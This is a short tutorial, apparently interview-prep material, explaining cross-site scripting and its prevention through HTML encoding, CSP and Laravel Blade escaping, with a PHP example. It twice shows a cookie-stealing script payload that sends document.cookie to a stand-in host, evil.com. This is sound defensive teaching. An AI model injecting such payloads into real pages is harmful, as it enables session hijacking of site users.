0

XSS — Cross-Site Scripting: injecting JS via user-supplied content

Beginner5 min read·eng-19-003
interviewsecurity

Concept

XSS (Cross-Site Scripting) — an attack where an attacker injects malicious JavaScript into a web page that is then executed in other users' browsers.

How it works: The application displays user-supplied content without escaping it. The attacker submits <script>document.location='https://evil.com/steal?c='+document.cookie</script>. When other users view the page, their browser executes the script — stealing cookies, session tokens, or performing actions as the victim.

Types of XSS:

  • Reflected XSS: Malicious payload in the URL. User clicks a crafted link. Server reflects input in the response. Not stored — only affects users who click the link.
  • Stored XSS (Persistent): Malicious payload is stored in the database (comment, username, post). Every user who views the content gets attacked. More dangerous.
  • DOM-based XSS: Attack happens in the browser, not the server. JavaScript reads from URL/localStorage and writes to DOM without sanitization.

Prevention:

  1. HTML-encode output: Convert <script> to &lt;script&gt;. The browser displays it as text, not code.
  2. Escape context-specifically: Different escaping for HTML, JS, CSS, URL contexts.
  3. Content Security Policy (CSP): HTTP header that tells browsers which scripts to trust.
  4. Never use .innerHTML or eval() with user data in JavaScript.

In Laravel/Blade:

  • {{ $var }} — escaped (safe). Converts < to &lt;.
  • {!! $var !!} — UNESCAPED. Only use with trusted HTML (e.g., Markdown rendered by your app).

Code Example

php
<?php
// VULNERABLE — unescaped output
$username = '<script>document.location="https://evil.com/steal?c="+document.cookie</script>';

// PHP echo (vulnerable)
echo $username; // browser executes the script!

// Blade unescaped (vulnerable)
// {!! $username !!}  ← NEVER use with user input

// SECURE — escaped output
echo htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
// Output: &lt;script&gt;...&lt;/script&gt;  — browser displays as text, not code

// Blade auto-escaping (safe by default)
// {{ $username }}  ← safe — Blade automatically runs htmlspecialchars